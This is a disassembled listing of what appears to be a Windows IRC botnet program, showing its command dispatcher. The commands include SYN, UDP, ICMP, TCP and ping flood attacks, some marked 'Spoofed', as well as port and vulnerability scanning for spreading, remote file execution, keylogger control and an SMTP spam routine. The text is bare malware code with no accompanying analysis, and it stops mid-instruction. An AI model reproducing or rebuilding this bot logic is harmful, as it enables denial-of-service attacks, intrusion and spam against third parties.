loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h call near ptr 2680EBDh nop jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j nop call near ptr 26908B8h push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call near ptr 2680EBDh nop jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j call near ptr 26908B8h nop push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 lea eax, [ebp+var_46F0] push eax call dword_4CBA58 push 6 push 1 push 2 mov edi, eax call dword_4CBA54 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC push esi call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j call near ptr 26908B8h nop push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej nop call near ptr 26908B8h push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330E0o ; ___:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h nop call near ptr 2680EBDh jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj call near ptr 26908B8h nop push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea 